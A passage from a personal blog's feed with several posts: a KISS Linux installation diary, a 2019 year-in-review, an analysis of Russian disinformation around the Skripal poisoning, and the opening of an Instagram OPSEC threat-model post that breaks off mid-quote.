<summary type="html">&lt;h2&gt;I installed KISS Linux&lt;/h2&gt;&#xA;&lt;p&gt;This new semester has been pretty easy on me, so far. I hardly every&#xA;have any classes (again, so far), and I&amp;rsquo;ve a ton of free time on my&#xA;hands. This calls for&amp;mdash;yep&amp;mdash;a distro hop!&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;why-kiss&#34;&gt;Why KISS?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&#34;https://getkiss.org&#34; rel=&#34;nofollow&#34;&gt;KISS&lt;/a&gt; has been making rounds on the interwebz lately.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:hn&#34;&gt;&lt;a href=&#34;#fn:hn&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&#xA;The Hacker News post spurred &lt;em&gt;quite&lt;/em&gt; the discussion. But then again,&#xA;that is to be expected from Valleybros who use macOS all day. :^)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the website,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;An independent Linux® distribution with a focus on simplicity and the&#xA;concept of “less is more”. The distribution targets &lt;em&gt;only&lt;/em&gt; the x86&amp;ndash;64&#xA;architecture and the English language.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Like many people did in the HN thread, &amp;ldquo;simplicity&amp;rdquo; here is not to be&#xA;confused with &amp;ldquo;ease&amp;rdquo;. It is instead, simplicity in terms of lesser and&#xA;cleaner code&amp;mdash;no&#xA;&lt;a href=&#34;https://www.urbandictionary.com/define.php?term=poetterware&#34; rel=&#34;nofollow&#34;&gt;Poetterware&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This, I can get behind. A clean system with less code is like a clean&#xA;table. It&amp;rsquo;s nice to work on. It also implies security to a certain&#xA;extent since there&amp;rsquo;s a smaller attack surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&#34;https://github.com/kisslinux/kiss&#34; rel=&#34;nofollow&#34;&gt;&lt;code&gt;kiss&lt;/code&gt;&lt;/a&gt; package manager is written&#xA;is pure POSIX sh, and does &lt;em&gt;just enough&lt;/em&gt;. Packages are compiled from&#xA;source and &lt;code&gt;kiss&lt;/code&gt; automatically performs dependency resolution. Creating&#xA;packages is ridiculously easy too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speaking of packages, all packages&amp;mdash;both official &amp;amp; community&#xA;repos&amp;mdash;are run through &lt;code&gt;shellcheck&lt;/code&gt; before getting merged. This is&#xA;awesome; I don&amp;rsquo;t think this is done in any other distro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In essence, KISS sucks less.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;installing-kiss&#34;&gt;Installing KISS&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&#34;https://getkiss.org/pages/install&#34; rel=&#34;nofollow&#34;&gt;install guide&lt;/a&gt; is very easy to&#xA;follow. Clear instructions that make it hard to screw up; that didn&amp;rsquo;t&#xA;stop me from doing so, however.&lt;/p&gt;&#xA;&#xA;&lt;h3 id=&#34;day-1&#34;&gt;Day 1&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Although technically not in a TTY, it was still not &lt;em&gt;in&lt;/em&gt; the KISS&#xA;system&amp;mdash;I&amp;rsquo;ll count it. I&amp;rsquo;d compiled the kernel in the chroot and&#xA;decided to use &lt;code&gt;efibootmgr&lt;/code&gt; instead of GRUB. &lt;code&gt;efibootmgr&lt;/code&gt; is a neat tool&#xA;to modify the Intel Extensible Firmware Interface (EFI). Essentially,&#xA;you boot the &lt;code&gt;.efi&lt;/code&gt; directly as opposed to choosing which boot entry&#xA;you want to boot, through GRUB. Useful if you have just one OS on the&#xA;system. Removes one layer of abstraction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding a new EFI entry is pretty easy. For me, the command was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;efibootmgr --create &#xA; --disk /dev/nvme0n1 \&#xA; --part 1 \&#xA; --label KISS Linux \&#xA; --loader /vmlinuz&#xA; --unicode &#39;root=/dev/nvme0n1p3 rw&#39; # kernel parameters&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Mind you, this didn&amp;rsquo;t work the first time, or the second, or the&#xA;third &amp;hellip; a bunch of trial and error (and asking on &lt;code&gt;#kisslinux&lt;/code&gt;)&#xA;later, it worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, it booted, but not into KISS. Took a while to figure out that the&#xA;culprit was &lt;code&gt;CONFIG_BLK_DEV_NVME&lt;/code&gt; not having been set in the kernel&#xA;config. Rebuild &amp;amp; reboot later, I was in.&lt;/p&gt;&#xA;&#xA;&lt;h3 id=&#34;day-2&#34;&gt;Day 2&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Networking! How fun. An &lt;code&gt;ip a&lt;/code&gt; and I see that both USB tethering&#xA;(ethernet) and wireless don&amp;rsquo;t work. Great. Dug around a bit&amp;mdash;missing&#xA;wireless drivers was the problem. Found my driver, a binary &lt;code&gt;.ucode&lt;/code&gt; from&#xA;Intel (eugh!). The whole day was spent in figuring out why the kernel&#xA;would never load the firmware. I tried different variations&amp;mdash;loading&#xA;it as a module (&lt;code&gt;=m&lt;/code&gt;), baking it in (&lt;code&gt;=y&lt;/code&gt;) but no luck.&lt;/p&gt;&#xA;&#xA;&lt;h3 id=&#34;day-3&#34;&gt;Day 3&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I then tried Alpine&amp;rsquo;s kernel config but that was so huge and had a &lt;em&gt;ton&lt;/em&gt;&#xA;of modules and took far too long to build each time, much to my&#xA;annoyance. Diffing their config and mine was about ~3000 lines! Too much&#xA;to sift through. On a whim, I decided to scrap my entire KISS install&#xA;and start afresh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some odd reason, after doing the &lt;em&gt;exact&lt;/em&gt; same things I&amp;rsquo;d done&#xA;earlier, my wireless worked this time. Ethernet didn&amp;rsquo;t, and still&#xA;doesn&amp;rsquo;t, but that&amp;rsquo;s ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Building &lt;code&gt;xorg-server&lt;/code&gt; was next, which took about an hour, mostly thanks&#xA;to spotty internet. The build went through fine, though what wasn&amp;rsquo;t was&#xA;no input after starting X. Adding my user to the &lt;code&gt;input&lt;/code&gt; group wasn&amp;rsquo;t&#xA;enough. The culprit this time was a missing &lt;code&gt;xf86-xorg-input&lt;/code&gt; package.&#xA;Installing that gave me my mouse back, but not the keyboard!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was definitely not the kernel this time, because I had a working&#xA;keyboard in the TTY.&lt;/p&gt;&#xA;&#xA;&lt;h3 id=&#34;day-4-day-5&#34;&gt;Day 4 &amp;amp; Day 5&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This was probably the most annoying of all, since the fix was &lt;em&gt;trivial&lt;/em&gt;.&#xA;By this point I had exhausted all ideas, so I decided to build my&#xA;essential packages and setup my system. Building Firefox took nearly&#xA;9 hours, the other stuff were much faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was still chatting on IRC during this, trying to zero down on what the&#xA;problem could be. And then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;dylanaraps&amp;gt; For starters I think st fails due to no fonts.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Holy shit! Fonts. I hadn&amp;rsquo;t installed &lt;em&gt;any&lt;/em&gt; fonts. Which is why none of&#xA;the applications I tried launching via &lt;code&gt;sowm&lt;/code&gt; ever launched, and hence,&#xA;I was lead to believe my keyboard was dead.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;worth-it&#34;&gt;Worth it?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Absolutely. I &lt;em&gt;cannot&lt;/em&gt; stress on how much of a learning experience this&#xA;was. Also a test of my patience and perseverance, but yeah ok. I also&#xA;think that this distro is my endgame (yeah, right), probably because&#xA;other distros will be nothing short of disappointing, in one way or&#xA;another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Huge thanks to the folks at &lt;code&gt;#kisslinux&lt;/code&gt; on Freenode for helping me&#xA;throughout. And I mean, they &lt;em&gt;really&lt;/em&gt; did. We chatted for hours on end&#xA;trying to debug my issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;ll now conclude with an obligatory screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/R6G.png&#34; alt=&#34;scrot&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:hn&#34;&gt;&lt;a href=&#34;https://news.ycombinator.com/item?id=21021396&#34; rel=&#34;nofollow&#34;&gt;https://news.ycombinator.com/item?id=21021396&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:hn&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>2019 in review</title>
<updated>2020-01-02T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-01-02:blog/2019-in-review</id>
<link href="https://icyphox.sh/blog/2019-in-review"></link>
<summary type="html">&lt;h2&gt;A look back at last year&lt;/h2&gt;&#xA;&lt;p&gt;Just landed in a rainy Chennai, back in campus for my 6th semester.&#xA;A little late to the &amp;ldquo;year in review blog post&amp;rdquo; party; travel took up&#xA;most of my time. Last year was pretty eventful (at least in my books),&#xA;and I think I did a bunch of cool stuff&amp;mdash;let&amp;rsquo;s see!&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;interning-at-securelayer7&#34;&gt;Interning at SecureLayer7&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Last summer, I interned at &lt;a href=&#34;https://securelayer7.net&#34; rel=&#34;nofollow&#34;&gt;SecureLayer7&lt;/a&gt;,&#xA;a security consulting firm in Pune, India. My work was mostly in&#xA;hardware and embededded security research. I learnt a ton about ARM and&#xA;MIPS reversing and exploitation, UART and JTAG, firmware RE and&#xA;enterprise IoT security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also earned my first CVE! I&amp;rsquo;ve written about it in detail&#xA;&lt;a href=&#34;/blog/fb50&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;conferences&#34;&gt;Conferences&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I attended two major conferences last year&amp;mdash;Nullcon Goa and PyCon&#xA;India. Both super fun experiences and I met a ton of cool people!&#xA;&lt;a href=&#34;https://twitter.com/icyphox/status/1101022604851212288&#34; rel=&#34;nofollow&#34;&gt;Nullcon Twitter thread&lt;/a&gt;&#xA;and &lt;a href=&#34;/blog/pycon-wrap-up&#34;&gt;PyCon blog post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;talks&#34;&gt;Talks&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I gave two talks last year:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;em&gt;Intro to Reverse Engineering&lt;/em&gt; at Cyware 2019&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;&amp;ldquo;Smart lock? Nah dude.&amp;rdquo;&lt;/em&gt; at PyCon India&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2 id=&#34;things-i-made&#34;&gt;Things I made&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Not in order, because I CBA:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/icyphox/repl&#34; rel=&#34;nofollow&#34;&gt;repl&lt;/a&gt;: More of a quick bash hack,&#xA;I don&amp;rsquo;t really use it.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/icyphox/pw&#34; rel=&#34;nofollow&#34;&gt;pw&lt;/a&gt;: A password manager. This,&#xA;I actually do use. I&amp;rsquo;ve even written a tiny&#xA;&lt;a href=&#34;https://github.com/icyphox/dotfiles/blob/master/bin/pwmenu.sh&#34; rel=&#34;nofollow&#34;&gt;&lt;code&gt;dmenu&lt;/code&gt; wrapper&lt;/a&gt;&#xA;for it.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/icyphox/twsh&#34; rel=&#34;nofollow&#34;&gt;twsh&lt;/a&gt;: An incomplete twtxt client,&#xA;in bash. I have yet to get around to finishing it.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/icyphox/alpine&#34; rel=&#34;nofollow&#34;&gt;alpine ports&lt;/a&gt;: My APKBUILDs for&#xA;Alpine.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/icyphox/detotated&#34; rel=&#34;nofollow&#34;&gt;detotated&lt;/a&gt;: An IRC bot written&#xA;in Python. See &lt;a href=&#34;/blog/irc-for-dms&#34;&gt;IRC for DMs&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/icyphox/icyrc&#34; rel=&#34;nofollow&#34;&gt;icyrc&lt;/a&gt;: A no bullshit IRC client,&#xA;because WeeChat is bloat.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I probably missed something, but whatever.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;blog-posts&#34;&gt;Blog posts&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ls -1 pages/blog/*.md | wc -l&#xA;20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So excluding today&amp;rsquo;s post, and &lt;code&gt;_index.md&lt;/code&gt;, that&amp;rsquo;s 18 posts! I had&#xA;initially planned to write one post a month, but hey, this is great. My&#xA;plan for 2020 is to write one post a &lt;em&gt;week&lt;/em&gt;&amp;mdash;unrealistic, I know, but&#xA;I will try nevertheless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote about a bunch of things, ranging from programming to&#xA;return-oriented-programming (heh), sysadmin and security stuff, and&#xA;a hint of culture and philosophy. Nice!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&#34;/blog/python-for-re-1&#34;&gt;Python for Reverse Engineering&lt;/a&gt; post got&#xA;a ton of attention on the interwebz, so that was cool.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;bye-2019&#34;&gt;Bye 2019&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;2019 was super productive! (in my terms). I learnt a lot of new things&#xA;last year, and I can only hope to learn as much in 2020. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;ll see you next week.&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>Disinfo war&amp;#58; RU vs GB</title>
<updated>2019-12-12T00:00:00Z</updated>
<id>tag:icyphox.sh/,2019-12-12:blog/ru-vs-gb</id>
<link href="https://icyphox.sh/blog/ru-vs-gb"></link>
<summary type="html">&lt;h2&gt;A look at Russian info ops against Britain&lt;/h2&gt;&#xA;&lt;p&gt;This entire sequence of events begins with the attempted poisoning of&#xA;Sergei Skripal&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:skripal&#34;&gt;&lt;a href=&#34;#fn:skripal&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;, an ex-GRU officer who was a double-agent for&#xA;the UK&amp;rsquo;s intelligence services. This hit attempt happened on the 4th of&#xA;March, 2018. 8 days later, then-Prime Minister Theresa May formally&#xA;accused Russia for the attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The toxin used in the poisoning was a nerve agent called &lt;em&gt;Novichok&lt;/em&gt;.&#xA;In addition to the British military-research facility at Porton Down,&#xA;a small number of labs around the world were tasked with confirming&#xA;Porton Down&amp;rsquo;s conclusions on the toxin that was used, by the OPCW&#xA;(Organisation for the Prohibition of Chemical Weapons).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the background on the matter out of the way, here are the different&#xA;instances of well timed disinformation pushed out by Moscow.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;the-russian-offense&#34;&gt;The Russian offense&lt;/h2&gt;&#xA;&#xA;&lt;h3 id=&#34;april-14-2018&#34;&gt;April 14, 2018&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;RT published an article claiming that Spiez had identified a different&#xA;toxin&amp;mdash;BZ, and not Novichok.&lt;/li&gt;&#xA;&lt;li&gt;This was an attempt to shift the blame from Russia (origin of Novichok),&#xA;to NATO countries, where it was apparently in use.&lt;/li&gt;&#xA;&lt;li&gt;Most viral piece on the matter in all of 2018.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Although technically correct, this isn&amp;rsquo;t the entire truth. As part of&#xA;protocol, the OPCW added a new substance to the sample as a test. If any&#xA;of the labs failed to identify this substance, their findings were&#xA;deemed untrustworthy. This toxin was a derivative of BZ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a few interesting things to note:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The entire process starting with the OPCW and the labs is top-secret.&#xA;How did Russia even know Speiz was one of the labs?&lt;/li&gt;&#xA;&lt;li&gt;On April 11th, the OPCW mentioned BZ in a report confirming Porton&#xA;Down&amp;rsquo;s findings. Note that Russia is a part of OPCW, and are fully&#xA;aware of the quality control measures in place. Surely they knew&#xA;about the reason for BZ&amp;rsquo;s use?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Regardless, the Russian version of the story spread fast. They cashed in&#xA;on two major factors to plant this disinfo:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&amp;ldquo;NATO bad&amp;rdquo; : Overused, but surprisingly works. People love a story&#xA;that goes full 180°.&lt;/li&gt;&#xA;&lt;li&gt;Spiez can&amp;rsquo;t defend itself: At the risk of revealing that it was one&#xA;of the facilities testing the toxin, Spiez was only able to &amp;ldquo;not&#xA;comment&amp;rdquo;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3 id=&#34;april-3-2018&#34;&gt;April 3, 2018&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The Independent publishes a story based on an interview with the chief&#xA;executive of Porton Down, Gary Aitkenhead.&lt;/li&gt;&#xA;&lt;li&gt;Aitkenhead says they&amp;rsquo;ve identified Novichok but &amp;ldquo;have not identified&#xA;the precise source&amp;rdquo;.&lt;/li&gt;&#xA;&lt;li&gt;Days earlier, Boris Johnson (then-Foreign Secretary) claimed that&#xA;Porton Down confirmed the origin of the toxin to be Russia.&lt;/li&gt;&#xA;&lt;li&gt;This discrepancy was immediately promoted by Moscow, and its network&#xA;all over.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This one is especially interesting because of how &lt;em&gt;simple&lt;/em&gt; it is to&#xA;exploit a small contradiction, that could&amp;rsquo;ve been an honest mistake.&#xA;This episode is also interesting because the British actually attempted&#xA;damage control this time. Porton Down tried to clarify Aitkenhead&amp;rsquo;s&#xA;statement via a tweet&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:dstltweet&#34;&gt;&lt;a href=&#34;#fn:dstltweet&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Our experts have precisely identified the nerve agent as a Novichok.&#xA;It is not, and has never been, our responsibility to confirm the source&#xA;of the agent @skynews @UKmoments&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Quoting the &lt;a href=&#34;https://www.defenseone.com/threats/2019/12/britains-secret-war-russia/161665/&#34; rel=&#34;nofollow&#34;&gt;Defense One&lt;/a&gt;&#xA;article on the matter:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The episode is seen by those inside Britains security communications team&#xA;as the most serious misstep of the crisis, which for a period caused real&#xA;concern. U.K. officials told me that, in hindsight, Aikenhead could never&#xA;have blamed Russia directly, because that was not his job—all he was&#xA;qualified to do was identify the chemical. Johnson, in going too far,&#xA;was more damaging. Two years on, he is now prime minister.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h3 id=&#34;may-2018&#34;&gt;May 2018&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;OPCW facilities receive an email from Spiez inviting them to&#xA;a conference.&lt;/li&gt;&#xA;&lt;li&gt;The conference itself is real, and has been organized before.&lt;/li&gt;&#xA;&lt;li&gt;The email however, was not&amp;mdash;attached was a Word document containing&#xA;malware.&lt;/li&gt;&#xA;&lt;li&gt;Also seen were inconsistencies in the email formatting, from what was&#xA;normal.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This spearphishing campaign was never offically attributed to Moscow,&#xA;but there are a lot of tells here that point to it being the work of&#xA;a state actor:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Attack targetting a specific group of individuals.&lt;/li&gt;&#xA;&lt;li&gt;Relatively high level of sophistication&amp;mdash;email formatting,&#xA;malicious Word doc, etc.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However, the British NCSC have deemed with &amp;ldquo;high confidence&amp;rdquo; that the&#xA;attack was perpetrated by GRU. In the UK intelligence parlance, &amp;ldquo;highly&#xA;likely&amp;rdquo; / &amp;ldquo;high confidence&amp;rdquo; usually means &amp;ldquo;definitely&amp;rdquo;.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;britain-s-defense&#34;&gt;Britain&amp;rsquo;s defense&lt;/h2&gt;&#xA;&#xA;&lt;h3 id=&#34;september-5-2018&#34;&gt;September 5, 2018&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The UK took a lot of hits in 2018, but they eventually came back:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Metropolitan Police has a meeting with the press, releasing their&#xA;findings.&lt;/li&gt;&#xA;&lt;li&gt;CCTV footage showing the two Russian hitmen was released.&lt;/li&gt;&#xA;&lt;li&gt;Traces of Novichok identified in their hotel room.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This sudden news explosion from Britan&amp;rsquo;s side completely&#xA;bulldozed the information space pertaining to the entire event.&#xA;According to Defense One:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Only two of the 10 most viral stories in the weeks following the announcement&#xA;were sympathetic to Russia, according to NewsWhip. Finally, officials recalled,&#xA;it felt as though the U.K. was the aggressor. “This was all kept secret to&#xA;put the Russians on the hop,” one told me. “Their response was all over the&#xA;place from this point. It was the turning point.”&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Earlier in April, 4 GRU agents were arrested in the Netherlands, who&#xA;were there to execute a cyber operation against the OPCW (located in The&#xA;Hague), via their WiFi networks. They were arrested by Dutch security,&#xA;and later identifed as belonging to Unit 26165. They also seized a bunch&#xA;of equipment from the room and their car.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The abandoned equipment revealed that the GRU unit involved had sent&#xA;officers around the world to conduct similar cyberattacks. They had&#xA;been in Malaysia trying to steal information about the investigation&#xA;into the downed Malaysia Airlines Flight 17, and at a hotel in Lausanne,&#xA;Switzerland, where a World Anti-Doping Agency (WADA) conference was taking&#xA;place as Russia faced sanctions from the International Olympic Committee.&#xA;Britain has said that the same GRU unit attempted to compromise Foreign&#xA;Office and Porton Down computer systems after the Skripal poisoning.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h3 id=&#34;october-4-2018&#34;&gt;October 4, 2018&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;UK made the arrests public, published a list of infractions commited by&#xA;Russia, along with the specific GRU unit that was caught.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During this period, just one of the top 25 viral stories was from&#xA;a pro-Russian outlet, RT&amp;mdash;that too a fairly straightforward piece.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;wrapping-up&#34;&gt;Wrapping up&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As with conventional warfare, it&amp;rsquo;s hard to determine who won. Britain&#xA;may have had the last blow, but Moscow&amp;mdash;yet again&amp;mdash;depicted their&#xA;finesse in information warfare. Their ability to seize unexpected&#xA;openings, gather intel to facilitate their disinformation campaigns, and&#xA;their cyber capabilities makes them a formidable threat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2020 will be fun, to say the least.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:skripal&#34;&gt;&lt;a href=&#34;https://en.wikipedia.org/wiki/Sergei_Skripal&#34; rel=&#34;nofollow&#34;&gt;https://en.wikipedia.org/wiki/Sergei_Skripal&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:skripal&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:dstltweet&#34;&gt;&lt;a href=&#34;https://twitter.com/dstlmod/status/981220158680260613&#34; rel=&#34;nofollow&#34;&gt;https://twitter.com/dstlmod/status/981220158680260613&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:dstltweet&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>Instagram OPSEC</title>
<updated>2019-12-02T00:00:00Z</updated>
<id>tag:icyphox.sh/,2019-12-02:blog/ig-opsec</id>
<link href="https://icyphox.sh/blog/ig-opsec"></link>
<summary type="html">&lt;h2&gt;Operational security for the average zoomer&lt;/h2&gt;&#xA;&lt;p&gt;Which I am not, of course. But seeing as most of my peers are, I am&#xA;compelled to write this post. Using a social platform like Instagram&#xA;automatically implies that the user understands (to some level) that&#xA;their personally identifiable information is exposed publicly, and they&#xA;sign up for the service understanding this risk&amp;mdash;or I think they do,&#xA;anyway. But that&amp;rsquo;s about it, they go ham after that. Sharing every nitty&#xA;gritty detail of their private lives without understanding the potential&#xA;risks of doing so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fundamentals of OPSEC dictacte that you develop a threat model, and&#xA;Instgrammers are &lt;em&gt;obviously&lt;/em&gt; incapable of doing that&amp;mdash;so I&amp;rsquo;ll do it&#xA;for them.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;your-average-instagrammer-s-threat-model&#34;&gt;Your average Instagrammer&amp;rsquo;s threat model&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I stress on the word &amp;ldquo;average&amp;rdquo;, as in this doesn&amp;rsquo;t apply to those with&#xA;more than a couple thousand followers. Those type of accounts inherently&#xA;face different kinds of threats&amp;mdash;those that come with having&#xA;a celebrity status, and are not in scope of this analysis.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;State actors&lt;/strong&gt;: This doesn&amp;rsquo;t &lt;em&gt;really&lt;/em&gt; fit into our threat model,&#xA;since our target demographic is simply not important enough. That said,&#xA;there are select groups of individuals that operate on&#xA;Instagram&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:ddepisode&#34;&gt;&lt;a href=&#34;#fn:ddepisode&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;, and they can potentially be targetted by a state&#xA;actor.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;OSINT&lt;/strong&gt;: This is probably the biggest threat vector, simply because&#xA;of the amount of visual information shared on the platform. A lot can be&#xA;gleaned from one simple picture in a nondescript alleyway. We&amp;rsquo;ll get&#xA;into this in the DOs and DON&amp;rsquo;Ts in a bit.&lt;/p&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Facebook &amp;amp; LE&lt;/strong&gt;: Instagram is the last place you want to be doing an&#xA;illegal, because well, it&amp;rsquo;s logged and more importantly&amp;mdash;not&#xA;end-to-end encrypted. Law enforcement can subpoena any and all account&#xA;information. Quoting Instagram&amp;rsquo;s&#xA;&lt;a href=&#34;https://help.instagram.com/494561080557017&#34; rel=&#34;nofollow&#34;&gt;page on this&lt;/a&gt;:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;a search warrant issued under the procedures described in the Federal&#xA;Rules of Criminal Procedure or equivalent state warrant procedures&#xA;upon a showing of probable cause is required to compel the disclosure&#xA;of the stored contents of any account, which may include messages,&#xA;photos, comments, and location 